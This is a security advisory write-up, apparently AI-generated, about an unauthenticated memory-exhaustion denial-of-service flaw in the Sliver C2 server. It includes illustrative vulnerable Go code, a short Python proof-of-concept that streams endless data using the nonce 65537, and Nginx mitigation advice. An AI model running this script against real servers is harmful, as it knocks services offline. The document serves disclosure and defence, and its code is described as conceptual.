CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-HJR9-WJ7V-7HV8
5.3

Sliver C2: The 'NoEncoder' Memory Exhaustion Exploit

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 27, 2026·5 min read·6 visits

PoC Available

Executive Summary (TL;DR)

Sliver C2 listeners can be crashed remotely by unauthenticated attackers. By sending a specific nonce (a multiple of 65537), the server switches to a 'NoEncoder' mode that reads the entire request body into memory without limits. Sending a massive body triggers the OOM killer.

A pre-authentication Denial of Service (DoS) vulnerability exists in the Sliver adversary emulation framework (versions 1.5.0 to 1.5.44). By manipulating the HTTP session nonce to bypass encoder logic, unauthenticated attackers can force the server to allocate unlimited memory via `io.ReadAll`, leading to a process crash.

The Hook: When the C2 Becomes the Target

Sliver is the darling of the open-source C2 world. It's Go-based, robust, and supports mutual TLS, WireGuard, and HTTP(S) beacons. Red teams use it to emulate advanced adversaries, maintaining persistence on compromised networks. But here is the irony: the tool designed to control chaos is itself susceptible to a very primitive form of chaos—resource exhaustion.

Usually, C2 frameworks are paranoid. They encrypt everything, validate headers, and drop connections from anything that doesn't look like a valid implant. You can't just curl a C2 server and expect it to talk back; it usually ignores you.

However, vulnerability GHSA-hjr9-wj7v-7hv8 (or GO-2026-4280 for the Gophers) reveals a chink in the armor. It turns out that if you ask the server nicely—specifically, using a magic number—it drops its defenses and tries to swallow whatever data you feed it, until it chokes. This isn't a complex buffer overflow; it's a logic flaw in how Sliver handles "anonymous" session initiation.

The Flaw: The Magic Number 65537

Deep inside server/encoders/encoders.go, there is a function called EncoderFromNonce(). Its job is to decide how to decode the incoming traffic based on a nonce (number used once) provided by the client.

In a standard scenario, the encoder might be something complex like a modular encryption scheme. But there's a specific check that looks like a developer debugging backdoor or a legacy artifact:

// Pseudo-code representation of the flaw
func EncoderFromNonce(nonce int) Encoder {
    if nonce % 65537 == 0 {
        return &NoEncoder{}
    }
    // ... complex logic ...
}

If the nonce is a multiple of 65537, the server selects NoEncoder. The NoEncoder is exactly what it sounds like: a pass-through that does zero decoding or validation. It just takes the raw bytes. This bypasses the usual cryptographic checks that would reject a garbage payload immediately.

The Code: The Unbounded Read

The selection of NoEncoder wouldn't be fatal on its own. The real killer lies in server/c2/http.go, specifically within the startSessionHandler function. This handler deals with new sessions, including those that are unauthenticated (anonymous).

When the request comes in, the code needs to read the body to process it. In the authenticated paths, Sliver typically uses io.LimitedReader to ensure an implant doesn't send too much data. But in the anonymous handler path identified in this report:

// server/c2/http.go - The Vulnerable Pattern
func startSessionHandler(w http.ResponseWriter, req *http.Request) {
    // ... routing logic ...
    
    // CRITICAL FLAW: Reading the entire body into memory without a limit
    data, err := io.ReadAll(req.Body)
    if err != nil {
        return
    }
    
    // ... processing data ...
}

io.ReadAll is the bane of secure Go programming when dealing with untrusted input. It creates a byte slice exactly the size of the input. If I send you 10GB of 'A's, Go will try to allocate 10GB of RAM. If the server only has 8GB, the OS Out-of-Memory (OOM) killer steps in and sends a SIGKILL to the Sliver process. Game over.

The Exploit: Crashing the C2

Exploiting this is trivially easy. We don't need shellcode; we just need curl or a simple Python script. The attack chain is:

  1. Target: Identify the HTTP/HTTPS listener port.
  2. Magic Nonce: Set a query parameter or header (depending on config) to 65537. This forces the NoEncoder path.
  3. The Payload: Initiate a POST request with a massive Content-Length header (e.g., 10000000000 for 10GB) and start streaming data.

Here is what the attack looks like conceptually:

import requests
 
# The target Sliver HTTP listener
url = "http://target-sliver-c2:80/login"
 
# The magic nonce to trigger NoEncoder
params = {"q": "65537"}
 
# Create a generator to stream infinite data
def stream_garbage():
    while True:
        yield b"A" * 8192
 
print("[*] Attempting to exhaust server memory...")
try:
    # Send a massive stream. The server tries to read it all into RAM.
    requests.post(url, params=params, data=stream_garbage())
except Exception as e:
    print(f"[+] Connection died (Server likely crashed): {e}")

Because the server uses io.ReadAll before doing anything else with the data, it blocks until the stream finishes or memory runs out. Since we never finish the stream, memory runs out first.

The Impact: Operational Disaster

For a red teamer, this is a nightmare scenario. You've spent weeks getting your implants onto target workstations. You have persistent access. Then, a blue teamer (or a rival threat actor) scans your C2 infrastructure, notices the Sliver signature, and sends a single malformed packet.

Result: The C2 server process dies immediately.

  • Loss of Command & Control: All active beacons lose connection.
  • Forensic Noise: If the server is monitored, a crash generates logs, alerts, and potentially memory dumps that could be analyzed.
  • Denial of Service: Until the operator manually SSHs in and restarts the service, the campaign is dead in the water.

This is a classic asymmetry: the attacker spends $0 and 10 seconds to destroy an infrastructure that took days to build.

The Fix: Limits and Proxies

The fix implemented in version 1.5.45 is straightforward: stop trusting anonymous users. The developers replaced the naked io.ReadAll with a size-limited reader, likely enforcing a cap (e.g., 1MB) on unauthenticated session initiation requests.

If you cannot update immediately, the mitigation is architectural. You should never expose a C2 server directly to the internet anyway. Always use a redirector (Nginx, Apache, Caddy).

Nginx Mitigation:

server {
    listen 80;
    client_max_body_size 10M; # Cap the body size at the proxy level
    
    location / {
        proxy_pass http://sliver_backend;
    }
}

By enforcing client_max_body_size at the ingress, Nginx will reject the 10GB stream with a 413 Request Entity Too Large before it ever reaches the fragile Go code.

Official Patches

BishopFoxOfficial GitHub Advisory
Go Vulnerability DatabaseGo Vuln DB Entry

Technical Appendix

CVSS Score
5.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

Affected Systems

Sliver C2 Framework (Server)Go HTTP Listeners

Affected Versions Detail

Product
Affected Versions
Fixed Version
Sliver
BishopFox
>= 1.5.0, <= 1.5.441.5.45
AttributeDetail
CWECWE-400: Uncontrolled Resource Consumption
Attack VectorNetwork (Remote)
Privileges RequiredNone (Unauthenticated)
CVSS v4.05.3 (Moderate)
ImpactDenial of Service (OOM Crash)
Fix Version1.5.45

MITRE ATT&CK Mapping

T1498Network Denial of Service
Impact
T1499Endpoint Denial of Service
Impact
CWE-400
Uncontrolled Resource Consumption

The software does not properly control the allocation of resources, allowing an attacker to cause a denial of service by consuming all available memory.

Known Exploits & Detection

Internal ResearchExploit relies on sending a nonce divisible by 65537 and a large body.

Vulnerability Timeline

Advisory GHSA-hjr9-wj7v-7hv8 published
2026-01-05
Added to Go Vulnerability Database (GO-2026-4280)
2026-01-12
Advisory updated with technical details
2026-02-03

References & Sources

  • [1]Sliver GitHub Repository
  • [2]Sliver Releases

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.